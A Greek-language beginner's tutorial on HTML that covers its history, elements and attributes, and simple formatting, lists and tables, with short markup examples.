Η HTML βασίστηκε στην Standard General Markup Language (SGML), η οποία χρησιμεύει για τον καθορισμό γλωσσών σήμανσης (markup languages) για έγγραφα. Ουσιαστικά, η SGML μπορεί να περιγραφεί ως ένα σύνολο κανόνων για τη δημιουργία γλωσσών σήμανσης. Η HTML, λοιπόν, ξεκίνησε αρχικά ως εφαρμογή της SGML, στις αρχές της δεκαετίας του 1990, και αποτελεί έως σήμερα τυποποιημένο τρόπο για την περιγραφή της δομής εγγράφων υπερκειμένου. Το πρότυπο SGML αξιοποιεί τη γενικευμένη σήμανση βασισμένη σε στοιχεία τα οποία έχουν διάφορες ιδιότητες και μπορεί να είναι εμφωλευμένα το ένα μέσα στο άλλο. Επιπλέον, το πρότυπο SGML διαχωρίζει τη δομή του εγγράφου από το περιεχόμενό του, κατεύθυνση στην οποία κινήθηκε και η HTML. Χαρακτηριστικό γνώρισμα της HTML είναι ότι για την περιγραφή της δομής και της εμφάνισης των ιστοσελίδων, καθώς και κάποιων ειδικών λειτουργιών, χρησιμοποιούνται ετικέτες (tags), οι οποίες έχουν κάποιες ιδιότητες. Για παράδειγμα, η ετικέτα <p> συμβολίζει την αλλαγή παραγράφου. Το πρόγραμμα περιήγησης ιστοσελίδων (Web browser) δεν εμφανίζει τις ετικέτες HTML στον τελικό χρήστη. Αντίθετα, διαβάζει τα έγγραφα HTML και χρησιμοποιεί τις ετικέτες HTML ώστε να ερμηνεύσει το περιεχόμενό τους σε ιστοσελίδες που μπορεί να δει και να διαβάσει κάποιος. Η HTML δίνει στο σχεδιαστή της ιστοσελίδας τη δυνατότητα να ενσωματώσει σε αυτή εικόνες, υπερσυνδέσμους, βίντεο, καθώς και scripts (σύνολα εντολών) τα οποία επηρεάζουν τη λειτουργία της ιστοσελίδας. Η περιγραφή μόνο της δομής του εγγράφου, καθώς και η αποσύνδεσή του από το πώς θα εμφανίζεται στον τελικό χρήστη, καθιστά τη διαμοίραση του εγγράφου πολύ πιο εύκολη. Τα προγράμματα περιήγησης ιστοσελίδων μπορούν επίσης να αναφέρονται σε στυλ μορφοποίησης (CSS) για τον ορισμό της εμφάνισης και της δομής του εγγράφου. Στο σημείο αυτό αξίζει να αναφερθούμε σε μία άλλη σημαντική γλώσσα σήμανσης, την XML. Η XML είναι «μετα-γλώσσα» (meta-language), δηλαδή γλώσσα που χρησιμοποιείται για να καθορίσει νέες γλώσσες σήμανσης. Έτσι, η XML μπορεί να χρησιμοποιηθεί για να συμπληρώσει την HTML: ενώ η HTML χρησιμοποιείται για τη διατύπωση και την εμφάνιση των στοιχείων της ιστοσελίδας, η XML προσδιορίζει τη συναφή έννοια των δεδομένων.

Στην XML υπάρχει η δυνατότητα να καθορίσει ο χρήστης τις ετικέτες και τις μεταξύ τους σχέσεις, ενώ στην HTML οι ετικέτες είναι προκαθορισμένες. HTML: Ιστορικά Στοιχεία 1. Η ιστορία της HTML ξεκίνησε το 1980, όταν ο φυσικός του Παγκοσμίου Επιστημονικού Οργανισμού CΕRΝ Tim Berners-Lee επινόησε και κατασκεύασε ένα σύστημα διαμοιρασμού εγγράφων για τους φυσικούς του CERN. Το 1989 πρότεινε τη δημιουργία ενός συστήματος που θα χρησιμοποιούσε υπερκείμενο και θα βασιζόταν στο Διαδίκτυο, και στη συνέχεια δημιούργησε την ίδια την προδιαγραφή της HTML, τον περιηγητή ιστοσελίδων, καθώς και το λογισμικό του εξυπηρετητή ιστοσελίδων. 2. Η πρώτη δημόσια διαθέσιμη περιγραφή της HTML (τέλη του 1991) ήταν ένα έγγραφο με όνομα «Ετικέτες HTML», το οποίο περιέγραφε τα 20 εκείνα στοιχεία τα οποίο αποτέλεσαν τον αρχικό σχεδιασμό της HTML. 3. Στη συνέχεια, το 1993, το Internet Engineering Task Force (IETF) προχώρησε σε δημοσίευση της πρώτης πρότασης για μια προδιαγραφή της HTML. Το 1994, το IETF δημιούργησε μια ομάδα εργασίας για την HTML η οποία ολοκλήρωσε την πρώτη προδιαγραφή της HTML, την «HTML 2.0», το 1995. 4. Έκτοτε, υπεύθυνο για τις προδιαγραφές της HTML είναι το World Wide Web Consortium (W3C), το οποίο ιδρύθηκε και διοικείται από τον Tim Berners-Lee. Αποτελείται από οργανισμούς-μέλη, οι οποίοι έχουν εργαζομένους πλήρους απασχόλησης, με στόχο την από κοινού ανάπτυξη προδιαγραφών για τον Παγκόσμιο Ιστό. Από το Μάιο του 2004 έχει 385 μέλη. 5. H HTML προτυποποιήθηκε παγκόσμια το 2000 (ISO/IEC15445:2000). Η προδιαγραφή 4.01 της HTML δημοσιεύτηκε από το W3C το 1999, ενώ το 2001 δη-μοσιεύτηκαν αλλαγές που κάλυπταν παραλείψεις της. Το 2004 άρχισε η εξέλιξη της HTML5, η οποία ολοκληρώθηκε και προτυποποιήθηκε στις 28 Οκτωβρίου 2014 και δημοσιεύτηκε ως W3C σύσταση (recommendation). H γλώσσα σήμανσης ΗΤΜL (Hypertext Markup Language) έχει σχεδιασθεί με σκοπό: -

Τη στοιχειοθέτηση (μορφοποίηση-formating) ηλεκτρονικών κειμένων,

-

την αναμετάδοσή τους στο Διαδίκτυο και

-

την αναπαράστασή τους σε διαφορετικού είδους οθόνες.

Η περιγραφή της στοιχειοθέτησης του κειμένου γίνεται με την εισαγωγή ετικετών της HTML στο σώμα του εγγράφου. Οι περισσότερες ετικέτες της HTML χρησιμοποιούνται για την

οργάνωση του περιεχομένου σε μια λογική – ιεραρχική δομή. Υπάρχουν ωστόσο και καθαρά μορφολογικοί χαρακτήρες (π.χ. <Β>, <Ι>). Η HTML επιτρέπει την ενσωμάτωση υπερσυνδέσμων (links, δεικτών) προς άλλα κείμενα αλλά και αρχεία ήχου, εικόνων, κινουμένων σχεδίων κλπ. Έτσι, μπορεί να χρησιμοποιηθεί για το σχεδιασμό και την ανάπτυξη εφαρμογών υπερμέσων. Ένα άλλο χαρακτηριστικό της HTML είναι ότι η γλώσσα αυτή είναι επεκτάσιμη, υπό την έννοια ότι σε αυτή μπορούν να προστεθούν νέες ιδιότητες και λειτουργίες, χωρίς να ακυρώνονται υπερκείμενα αναπτυγμένα σε παλαιότερες εκδόσεις της. Παρακάτω μπορείτε να δείτε τον κώδικα μια ιστοσελίδας σε HTML.

Βασικές Έννοιες & Στοιχεία HTML και Αρχεία HTML 1. Η σήμανση (markup) της HTML αποτελείται από μερικά βασικά συστατικά, τα οποία είναι: η δήλωση τύπου εγγράφου, οι (βασισμένοι σε χαρακτήρες) τύποι δεδομένων, οι αναφορές χαρακτήρων, οι αναφορές οντοτήτων, καθώς και τα στοιχεία (attributes) και οι ιδιότητές τους.

2. Τα στοιχεία HTML αποτελούνται, στην πιο γενική τους μορφή, από τρία συστατικά: ένα ζεύγος από ετικέτες, οι οποίες ονομάζονται ετικέτα έναρξης (start tag) και ετικέτα λήξης (end tag), μερικές ιδιότητες μέσα στην ετικέτα έναρξης, και το κείμενο ή το γραφικό περιεχόμενο μεταξύ των ετικετών, το οποίο μπορεί να εμφωλεύει μέσα του και άλλα στοιχεία. 3. Το στοιχείο HTML μπορεί να είναι οτιδήποτε ανάμεσα στις ετικέτες έναρξης και λήξης. Κάθε ετικέτα περικλείεται σε σύμβολα «μεγαλύτερο από» (>) και «μικρότερο από» (<). 4. Οι ιδιότητες του στοιχείου παρέχουν επιπρόσθετη πληροφορία γι’ αυτό το στοιχείο και βρίσκονται πάντα στην ετικέτα έναρξης. 5. Το όνομα κάθε στοιχείου HTML είναι το όνομα που χρησιμοποιείται στις αντίστοιχες ετικέτες. Το όνομα της ετικέτας λήξης ξεκινά με μια κάθετο «/», η οποία παραλείπεται στα άδεια στοιχεία (στοιχεία HTML που δεν έχουν καθόλου περιεχόμενο). Τα αρχεία τα οποία περιέχουν κώδικα HTML έχουν συνήθως κατάληξη .html ή .htm. Τα αρχεία αυτά περιέχουν χαρακτήρες ASCII και μπορούν να δημιουργηθούν με έναν οποιονδήποτε επεξεργαστή κειμένου ASCII (editor), όπως ο vi και ο emacs, ο notepad κλπ. Υπάρχουν επίσης πληθώρα WYSIWYG εργαλείων συγγραφής HTML σε περιβάλλοντα Windows, UNIX και Apple, όπως TinyMCE, Atom, Adobe Dreamweaver, CoffeeCup HTML Editor,Visual Studio Code κ.ά. καθώς και (κυρίως παλαιότερα) FrontPage, HotMetal, NetObject Fusion, Net, DreamWeaver, κ.ά. Προκειμένου να δημιουργήσει κάποιος μια ιστοσελίδα, είναι απαραίτητη η καλή γνώση των προδιαγραφών HTML, παράλληλα με τη χρήση κάποιου ισχυρού εργαλείου συγγραφής εφαρμογών HTML. Ο έλεγχος ενός αρχείου HTML μπορεί να γίνει «τοπικά» με τη χρήση φυλλομετρητή ιστού (web browser). Στη συνέχεια, θα αναλυθεί βήμα προς βήμα ένα πιο σύνθετο παράδειγμα σε HTML. Να σημειωθεί, σε αυτό το σημείο, ότι η HTML μπορεί να γραφεί με χρήση κάποιου HTML editor, όπως είναι ο Adobe Dreamweaver ή ο CoffeeCup HTML editor. Εναλλακτικά, μπορεί να χρησιμοποιηθεί ένας απλός text editor, όπως είναι το Notepad σε περιβάλλον Windows ή το TextEdit σε Mac. Αυτό γίνεται με τη δημιουργία ενός νέου αρχείου, το οποίο πρέπει να αποθηκευθεί με κατάληξη .htm ή .html. H προτεινόμενη κωδικοποίηση είναι η UTF-8, καθώς η κωδικοποίηση ANSI καλύπτει μόνο US και Western European χαρακτήρες. Για να δείτε πώς θα εμφανίζεται η ιστοσελίδα, αρκεί να την ανοίξετε στον περιηγητή ιστοσελίδων, σαν οποιαδήποτε άλλη ιστοσελίδα

Οι ετικέτες της HTML δεν είναι case sensitive (δηλαδή οι κεφαλαίοι και πεζοί χαρακτήρες δεν έχουν διαφορά). Για παράδειγμα, το <P> είναι το ίδιο με το <p>. Αν και η προδιαγραφή της HTML5 δεν απαιτεί τη χρήση ετικετών με πεζούς χαρακτήρες, το W3C προτείνει τη χρήση πεζών στην HTML4. Στη συνέχεια, ακολουθεί το στοιχείο <html>, το οποίο ορίζει ολόκληρο το έγ-γραφο. Με αυτήν την ετικέτα, ο περιηγητής «καταλαβαίνει» ότι ξεκινάει ένα HTML έγγραφο. Η γλώσσα του εγγράφου συνίσταται να δηλώνεται στην ιδιότητα «lang» του στοιχείου <html>. Τα πρώτα δύο γράμματα προσδιορίζουν τη γλώσσα (εδώ «en»), ενώ τα επόμενα δύο τη διάλεκτο («US»). Η δήλωση της γλώσσας είναι σημαντική για λόγους εφαρμογές προσβασιμότητας (screen readers), καθώς και μηχανές αναζήτησης

Σήμανση Η σήμανση HTML αποτελείται από μερικά βασικά συστατικά, συμπεριλαμβανομένων των στοιχείων (και των ιδιοτήτων τους), τους βασισμένους σε χαρακτήρες τύπους δεδομένων, τις αναφορές χαρακτήρων και τις αναφορές οντοτήτων. Ένα ξεχωριστό σημαντικό συστατικό είναι η δήλωση τύπου εγγράφου (document type declaration), η οποία ορίζει στον browser τον τρόπο εμφάνισης της σελίδας. Στην HTML, το πρόγραμμα Hello world, ένα συνηθισμένο πρόγραμμα υπολογιστή που χρησιμεύει για τη σύγκριση γλωσσών προγραμματισμού, γλωσσών σεναρίων και γλωσσών σήμανσης, φτιάχνεται με 9 γραμμές κώδικα, παρότι οι νέες γραμμές είναι προαιρετικές στην HTML:

<!DOCTYPE html> <html> <head> <title>Hello HTML</title> </head> <body> <p>Hello world</p> </body> </html> (Το κείμενο ανάμεσα στο <html> και το </html> περιγράφει την ιστοσελίδα, και το κείμενο μεταξύ του <body> και του </body> είναι το ορατό μέρος της. Το σημασμένο κείμενο '<title>Hello HTML</title>' καθορίζει τον τίτλο που θα εμφανίζεται στην μπάρα τίτλου του browser.) Στοιχεία Κύριο λήμμα: Στοιχεία HTML Τα έγγραφα HTML αποτελούνται από στοιχεία HTML τα οποία στην πιο γενική μορφή τους έχουν τρία συστατικά: ένα ζεύγος από ετικέτες, την «ετικέτα εκκίνησης» και την «ετικέτα τερματισμού», μερικές ιδιότητες μέσα στην ετικέτα εκκίνησης και, τέλος, το κείμενο ή το γραφικό περιεχόμενο μεταξύ των ετικετών, το οποίο μπορεί να περιλαμβάνει και άλλα στοιχεία εμφωλευμένα μέσα του. Το στοιχείο HTML μπορεί να είναι οτιδήποτε ανάμεσα στις ετικέτες εκκίνησης και τερματισμού. Τέλος, κάθε ετικέτα περικλείεται σε σύμβολα «μεγαλύτερο από» και «μικρότερο από», δηλαδή < και >. Επομένως, η γενική μορφή ενός στοιχείου HTML είναι: <tag attribute1="value1" attribute2="value2">content</tag>. Μερικά στοιχεία HTML περιγράφονται ως άδεια στοιχεία, έχουν τη μορφή <tag attribute1="value1" attribute2="value2" >, και δεν έχουν καθόλου περιεχόμενο. Το όνομα κάθε στοιχείου HTML είναι το ίδιο όνομα που χρησιμοποιείται στις αντίστοιχες ετικέτες. Το όνομα της ετικέτας τερματισμού ξεκινά με μια κάθετο «/», η οποία παραλείπεται στα άδεια στοιχεία. Τέλος, αν δεν αναφέρονται ρητά οι ιδιότητες ενός στοιχείου, τότε χρησιμοποιούνται οι προεπιλογές σε κάθε περίπτωση.

Παραδείγματα στοιχείων[Επεξεργασία] Κεφαλίδα του εγγράφου HTML:<head>...</head>. Συνήθως περιέχει τον τίτλο, π.χ: <head> <title>The title</title> </head> Επικεφαλίδες: οι επικεφαλίδες στην HTML ορίζονται με τις ετικέτες <h1> έως <h6>: <h1>Επικεφαλίδα1</h1> <h2>Επικεφαλίδα2</h2> <h3>Επικεφαλίδα3</h3> <h4>Επικεφαλίδα4</h4> <h5>Επικεφαλίδα5</h5> <h6>Επικεφαλίδα6</h6> Παράγραφοι: <p>Paragraph 1</p> <p>Paragraph 2</p> Αλλαγή γραμμής: <br>. Η διαφορά ανάμεσα στο <br> και το <p> είναι ότι το «br» αλλάζει γραμμή χωρίς να αλλάζει τη σημαντική δομή της σελίδας, ενώ το «p» τεμαχίζει τη σελίδα σε παραγράφους. Το «br» είναι ένα άδειο στοιχείο, δηλαδή δεν έχει περιεχόμενο, ούτε και χρειάζεται ετικέτα τερματισμού. <p>This <br> is a paragraph <br> with <br> line breaks</p> Σχόλια: <!-- This is a comment --> Τα σχόλια μπορούν να βοηθήσουν στην κατανόηση της σήμανσης. Δεν εμφανίζονται στην ιστοσελίδα. Υπάρχουν διάφοροι τύπου στοιχείων στην HTML. Η δομική σήμανση περιγράφει το σκοπό του κειμένου. Για παράδειγμα, το <h2>Golf</h2> σημαίνει ότι η λέξη «Golf» θα είναι μια επικεφαλίδα δεύτερου επιπέδου. Η δομική σήμανση δεν εμπεριέχει συγκεκριμένο τρόπο εμφάνισης, αλλά οι περισσότεροι browser έχουν δικό

τους προκαθορισμένο τρόπο για τη μορφοποίηση όλων των στοιχείων. Το περιεχόμενο μπορεί να μορφοποιηθεί οπτικά με τη χρήση των CSS.Η σήμανση οπτικής μορφοποίησης περιγράφει την εμφάνιση του κειμένου, άσχετα από το σκοπό του. Για παράδειγμα, το <b>έντονο κείμενο</b> υποδεικνύει ότι οι συσκευές που θα εμφανίσουν το κείμενο θα το κάνουν έντονο, αλλά δεν λέει τι θα κάνουν με το κείμενο οι συσκευές που δεν μπορούν να το εμφανίσουν, όπως για παράδειγμα οι συσκευές φωνητικής ανάγνωσης σελίδων. Τόσο στην περίπτωση του <b>έντονο</b> όσο και του <i>πλάγιο</i>, υπάρχουν άλλα στοιχεία τα οποία μπορεί οπτικά να εμφανίζονται ίδια, αλλά είναι πιο σημαντικά, όπως τα <strong>σημαντικό κείμενο</strong> και <em>κείμενο με έμφαση</em> αντίστοιχα. Είναι ευκολότερο να ερμηνεύσει ένας φωνητικός browser τα τελευταία δύο στοιχεία. Ωστόσο, δεν είναι ισότιμα με τα αντίστοιχα στοιχεία οπτικής μορφοποίησης. Για παράδειγμα, ένα πρόγραμμα φωνητικής ανάγνωσης της σελίδας δεν θα πρέπει να προφέρει με έμφαση τον τίτλο ενός βιβλίου, αλλά όταν το ίδιο περιεχόμενο εμφανίζεται σε μια οθόνη τότε ο τίτλος θα είναι με πλάγια γράμματα. Τα περισσότερα στοιχεία οπτικής μορφοποίησης θεωρούνται ξεπερασμένα μετά την προδιαγραφή HTML 4.0 και έχουν αντικατασταθεί από τα CSS.Η σήμανση υπερκειμένου κάνει μερικά τμήματα ενός εγγράφου να συνδέονται με άλλα έγγραφα. Το στοιχεία anchor δημιουργεί έναν υπερσύνδεσμο στο έγγραφο, και η ιδιότητα href ορίζει τον στόχο του συνδέσμου. Για παράδειγμα, η σήμανση HTML <a href="http://el.wikipedia.org/"> Βικιπαίδεια</a> εμφανίζει το κείμενο «Wikipedia» ως υπερσύνδεσμο. Για την εμφάνιση μιας εικόνας ως συνδέσμου, μπορεί να εισαχθεί ένα στοιχείο «img» ως περιεχόμενο του στοιχείου «a». Όπως και το «br», το «img» είναι άδειο στοιχείο. Έχει ιδιότητες αλλά δεν έχει περιεχόμενο, ούτε ετικέτα τερματισμού: <a href="http://example.org"><img src="image.gif" alt="descriptive text" width="50" height="50" border="0"></a>. ΣΥΝΟΨΙΖΟΝΤΑΣ 1. Το περιεχόμενο του στοιχείου <html> περιέχει άλλα στοιχεία HTML. Αρχικά, το στοιχείο <head> εί-ναι «container» για HTML για μεταδεδομένα (metadata), τα οποία αποτελούν δεδομένα σχετικά με το HTML έγγραφο. Τα metadata δεν εμφανίζονται στην ιστοσελίδα. 2. Ορίζουν τον τίτλο του εγγράφου, τα στυλ (που θα δούμε στη συνέχεια), υπερσυνδέσμους, scripts, κ.α. Οι αντίστοιχες ετικέτες που περιγράφουν metadata είναι οι ακόλουθες: <title>, <style>, <meta>, <link>, <script>, and <base>. 3. Στο συγκεκριμένο παράδειγμα χρησιμοποιήθηκε επίσης η ετικέτα <title> για να δηλωθεί ο τίτλος «Hello HTML». Το στοιχείο αυτό είναι απαραί-τητο για κάθε HTML έγγραφο,

καθώς: (α) ορίζει έναν τίτλο για την ιστοσελίδα στον περιηγητή και (β) εμφα-νίζει τον τίτλο της ιστοσελίδας στα αποτελέσματα των μηχανών αναζήτησης. 4. Στη συνέχεια, χρησιμοποιείται το στοιχείο <body> το οποίο ορίζει το κυρίως «σώμα» του εγγράφου. Έχει ετικέτα έναρξης <body> και ετικέτα λήξης </body> Σε αυτό περιέχεται ό,τι θέλουμε να εμφανίζεται στην ιστοσελίδα. Μέσα σε αυτό υπάρχει το στοιχείο <p> το οποίο ορίζει μια παράγραφο. 5. Το περιεχόμενο της παραγράφου είναι «Hello world». Να σημειωθεί εδώ ότι κάποιες φορές η ετικέτα λήξης μπορεί να παραλειφθεί, χωρίς πρόβλημα, όπως στην περίπτωση του στοιχείου <p>. Παρόλα αυτά, δε συνίσταται, καθώς μπορεί να προκύψουν απρόβλεπτα αποτελέσματα ή και διάφορα λάθη. Προτείνεται να κλείνετε τις ετικέτες μόλις τις ανοίγετε και μετά να συμπληρώνετε το περιεχόμενό τους, ώστε να μην γίνει κάποιο λάθος Επιπλέον, όπως έχει ήδη αναφερθεί, υπάρχουν στοιχεία HTML τα οποία δεν έχουν περιεχόμενο και ονομάζονται κενά στοιχεία (empty elements). Για παράδειγμα, η αλλαγή γραμμής γίνεται με χρήση του στοι-χείου <br> το οποίο είναι ένα κενό στοιχείο, χωρίς ετικέτα λήξης. Στη συγκεκριμένη περίπτωση μπορεί να χρησιμοποιηθεί η ετικέτα έναρξης «<br />», η οποία «κλείνει» κιόλας το στοιχείο HTML. Σε κάθε στοιχείο HTML μπορούν να εφαρμοστούν global HTML attributes (καθολικές HTML ιδιότητες) που δίνουν νόημα στα στοιχεία. Παραδείγματα attributes είναι τα εξής: id (προσδιορίζει ένα μοναδικό κωδικό για ένα στοιχείο), lang (προσδιορίζει τη γλώσσα του περιεχομένου ενός στοιχείου), και draggable (προσδιορίζει εάν ένα στοιχείο θα είναι μεταφέρσιμο ή όχι). Τέλος, να σημειωθεί εδώ ότι τα ζεύγη ετικετών <html>...</html>, <head>...</head> και <body>...</body> είναι αναγκαία για τη δόμηση κάθε ιστοσελίδας.

Ιδιότητες

Οι περισσότερες ιδιότητες των στοιχείων είναι ζεύγη ονομάτων και τιμών, τα οποία διαχωρίζονται με ένα «=» και γράφονται μέσα στην ετικέτα εκκίνησης ενός στοιχείου, μετά το όνομα του στοιχείου. Η τιμή μπορεί να περικλείεται σε μονά ή διπλά εισαγωγικά, παρότι τιμές που αποτελούνται από συγκεκριμένους χαρακτήρες μπορούν να γράφονται χωρίς εισαγωγικά στην HTML, αλλά όχι στην XHTML. Το να μένουν οι τιμές των ιδιοτήτων χωρίς

εισαγωγικά θεωρείται ανασφαλές. Εκτός από τις ιδιότητες που γράφονται ως ζεύγη ονομάτων και τιμών, υπάρχουν και μερικές οι οποίες επηρεάζουν το στοιχείο απλά με την παρουσία τους μέσα στην ετικέτα εκκίνησης, όπως η ιδιότητα ismap του στοιχείου img. Υπάρχουν και μερικές κοινές ιδιότητες οι οποίες εμφανίζονται σε πολλά στοιχεία: Η ιδιότητα id παρέχει ένα αναγνωριστικό για ένα στοιχείο το οποίο είναι μοναδικό σε ολόκληρο το έγγραφο. Χρησιμοποιείται για να ταυτοποιεί το στοιχείο ώστε τα CSS να μπορούν να αλλάξουν τον τρόπο που αυτό εμφανίζεται, καθώς και τα σενάρια μπορούν να αλλάξουν, να μετακινήσουν ή να διαγράψουν τα περιεχόμενα ή την εμφάνισή του. Ακόμα, αν ένα id προστεθεί στο URL μιας σελίδας, παρέχει ένα μοναδικό αναγνωριστικό για ένα τμήμα της σελίδας. Η ιδιότητα class παρέχει τη δυνατότητα ταξινόμησης παρόμοιων αντικειμένων στην ίδιακλάση. Μπορεί να χρησιμοποιηθεί για να αποδώσει κάποια σημασία στο στοιχείο ή για σκοπούς εμφάνισης. Για παράδειγμα, ένα έγγραφο HTML μπορεί να χρησιμοποιεί την επισήμανση class="notation" σε μερικά στοιχεία για να ξεχωρίσει από το υπόλοιπο κείμενο του εγγράφου. Κατά την εμφάνιση του εγγράφου, αυτά τα στοιχεία μπορεί -για παράδειγμανα εμφανίζονται όλα μαζί στο τέλος της σελίδας ως υποσημειώσεις, άσχετα με τη θέση που εμφανίζονται μέσα στον κώδικα. Επίσης, οι ιδιότητες class χρησιμοποιούνται σημασιολογικά στα microformat. Ένα στοιχείο μπορεί να έχει πολλαπλές κλάσεις, για παράδειγμα το class="notation important" βάζει το στοιχείο τόσο στην κλάση «notation» όσο και στην «important». Η ιδιότητα style εφαρμόζει στυλ εμφάνισης σε συγκεκριμένα στοιχεία. Θεωρείται καλύτερη τακτική να χρησιμοποιούνται οι ιδιότητες id ή class ώστε να επιλέγεται το στοιχείο μέσα σε ένα CSS, αλλά μερικές φορές μπορεί να είναι πιο απλό να ανατεθούν style κατευθείαν στο στοιχείο. Η ιδιότητα title προσθέτει μια εξήγηση στο στοιχείο στο οποίο εφαρμόζεται. Στους περισσότερους browser αυτή η ιδιότητα εμφανίζεται ως αναδυόμενο παράθυρο βοήθειας. Η ιδιότητα lang ταυτοποιεί τη φυσική γλώσσα των περιεχομένων του στοιχείου, η οποία μπορεί να είναι διαφορετική από το υπόλοιπο έγγραφο. Για παράδειγμα, μέσα σε ένα αγγλικό έγγραφο μπορεί να υπάρχει το: <p>Oh well, <span lang="fr">c'est la vie</span>, as they say in France.</p>

Το στοιχείο abbr μπορεί να χρησιμοποιηθεί για να επιδείξει μερικές από τις πιο πάνω ιδιότητες: <abbr id="anId" class="jargon" style="color:purple;" title="Hypertext Markup Language">HTML</abbr> Αυτό το παράδειγμα εμφανίζεται ως: HTML. Στους περισσότερους browser, όταν σταθεί ο δείκτης του ποντικιού πάνω από αυτό το στοιχείο, τότε θα εμφανιστεί ένα αναδυόμενο παράθυρο με το περιεχόμενο «Hypertext Markup Language». Ας ξεκινήσουμε... Για να ξεκινήσουμε να γράφουμε HTML κώδικα ο πιο απλός τρόπος είναι να ανοίξουμε ένα Notepad. Για να το πετύχουμε αυτό πάμε στην Έναρξη (Start) μετά στα Προγράμματα (Programs) και στη συνέχεια στα Βοηθήματα (Accessories). Τέλος, επιλέγουμε Σημειωματάριο (Notepad).

Για να καταλάβει ο φυλλομετρητής σας ποια γλώσσα χρησιμοποιείτε γράψτε <html> στην αρχή και κλείστε γράφοντας </html>.

Για να σώσετε την ιστοσελίδα σας πηγαίνετε στο "save as", επιλέγετε μια ονομασία με κατάληξη .html (όπως "testfile.html") και επιλέγετε "all files" or "text".

Παράδειγμα

Έντονα, Πλάγια, Υπογραμμισμένα Για να γράψουμε μια λέξη με έντονα γράμματα (bold) αρκεί να τη βάλουμε μέσα σε tags της μορφής: <b>εδώ γράφουμε το κείμενο</b> Το αποτέλεσμα θα είναι: εδώ γράφουμε το κείμενο

Παράδειγμα: Καλώς ήρθατε στο site του <b>BookCrossing</b>! Καλώς ήρθατε στο site του BookCrossing! Για να γράψουμε μια λέξη με πλάγια γράμματα (italic) θα χρησιμοποιήσουμε tags της μορφής: <i>εδώ γράφουμε το κείμενο</i> Το αποτέλεσμα θα είναι: εδώ γράφουμε το κείμενο Παράδειγμα: Καλώς ήρθατε στο site του <i>BookCrossing</i>! Καλώς ήρθατε στο site του BookCrossing! Για να γράψουμε μια λέξη υπογραμμισμένη (underlined) θα χρησιμοποιήσουμε tags της μορφής: <u>εδώ γράφουμε το κείμενο</u>

Το αποτέλεσμα θα είναι: εδώ γράφουμε το κείμενο Παράδειγμα:

Καλώς ήρθατε στο site του <u>BookCrossing</u>! Καλώς ήρθατε στο site του BookCrossing! Τέλος, μπορούμε να χρησιμοποιήσουμε ταυτόχρονα δύο ή και τα τρία tags: <u><b>εδώ γράφουμε το κείμενο</b></u> Το αποτέλεσμα θα είναι: εδώ γράφουμε το κείμενο Χρώμα γραμμάτων Για να δούμε τώρα πώς μπορούμε να δώσουμε λίγο... χρώμα σ' αυτά που γράφουμε! Για να γράψουμε μια λέξη με κόκκινα γράμματα αρκεί να τη βάλουμε μέσα σε tags της μορφής: <font color="red">εδώ γράφουμε το κείμενο</font> Το αποτέλεσμα θα είναι: εδώ γράφουμε το κείμενο Στη διάθεσή μας έχουμε μια τεράστια ποικιλία χρωμάτων! Κάποια από τα βασικά χρώματα αρκεί να τα γράψουμε με το όνομά τους, για τα υπόλοιπα θα χρειαστούμε τον κωδικό τους.

Πίνακας με τα βασικά χρώματα (και τους κωδικούς τους):

Χρώματα και κωδικούς θα βρείτε άπειρα στο internet... Ενδεικτικά σας δίνω μια σελίδα: html colors. Παράδειγμα: Καλώς ήρθατε στο site του <font color="#CC0099">BookCrossing</font>! Καλώς ήρθατε στο site του BookCrossing! Φυσικά μπορείτε να συνδυάσετε περισσότερα από ένα tags: Παράδειγμα: Καλώς ήρθατε στο site του <b><font color="blue">Book</font><font color="green">Crossing</font></b>! Καλώς ήρθατε στο site του BookCrossing! Μέγεθος γραμμάτων Ας δούμε τώρα πώς μπορούμε να αλλάξουμε το μέγεθος των γραμμάτων! Το tag που θα χρησιμοποιήσουμε εδώ είναι και πάλι το font, αυτή τη φορά μαζί με το size. To default size είναι 3. Εμείς μπορούμε να το αλλάξουμε είτε δίνοντας τιμές από 1 έως 5 είτε αυξομειώνοντας το με την εντολή +1, +2, -1 κτλ... Για να γράψουμε κάτι με γράμματα νούμερο 5 αρκεί να τo βάλουμε μέσα σε tags της μορφής: <font size="5">εδώ γράφουμε το κείμενο</font> Το αποτέλεσμα θα είναι: εδώ γράφουμε το κείμενο Παραδείγματα: Καλώς ήρθατε στο site του <font size="+1">BookCrossing</font>! Καλώς ήρθατε στο site του BookCrossing! Καλώς ήρθατε στο site του <font size="5">B</font>ook<font size="5">C</font>rossing! Καλώς ήρθατε στο site του BookCrossing! Και συνδυάζοντας το με κάποια από τα tags που έχουμε ήδη μάθει:

Καλώς ήρθατε στο site του <font color="#009900" size="5">B</font>ook<font color="#FF0033" size="5">C</font>rossing! Καλώς ήρθατε στο site του BookCrossing!

Λίστες & πίνακες Εδώ θα δούμε πώς μπορούμε να φτιάξουμε λίστες (τόσο με αρίθμηση όσο και με κουκίδες) και πίνακες. Για να φτιάξουμε μια απλή λίστα με κουκίδες θα πρέπει όλη η λίστα να μπει μέσα σε tags της μορφής <ul> </ul> και κάθε στοιχείο της λίστας να μπει σε tags της μορφής <li> </li> < ul> < li>στοιχείο 1</li> < li>στοιχείο 2</li> < li>στοιχείο 3</li> < /ul> Το αποτέλεσμα θα είναι: • στοιχείο 1 • στοιχείο 2 • στοιχείο 3 Για να φτιάξουμε μια απλή λίστα με αρίθμηση θα πρέπει όλη η λίστα να μπει μέσα σε tags της μορφής <ol> </ol> και κάθε στοιχείο της λίστας να μπει σε tags της μορφής <li> </li> < ol> < li>στοιχείο 1</li> < li>στοιχείο 2</li> < li>στοιχείο 3</li> < /ol> Το αποτέλεσμα θα είναι:

1. στοιχείο 1 2. στοιχείο 2 3. στοιχείο 3 Για να δημιουργήσουμε ένα πίνακα χρειαζόμαστε τρία βασικά tags: Το tag που δημιουργεί τον πίνακα: <table> </table> Το tag που δημιουργεί τις γραμμές του πίνακα: <tr> </tr> Το tag που δημιουργεί τα κελία του πίνακα: <td> </td> Ένας πίνακας λοιπόν 2x3 φτιάχνεται έτσι: < table> < tr> < td> Α </td><td> Β </td><td> C </td> < /tr> < td> D </td><td> E </td><td> F </td> < /tr> < /table> To αποτέλεσμα θα είναι: ABC DEF Για να βάλουμε περίγραμμα στον πίνακα μας αρκεί μέσα στο tag table να προσθέσουμε το border="1": < table border="1"> Οπότε ο πίνακας θα γίνει:

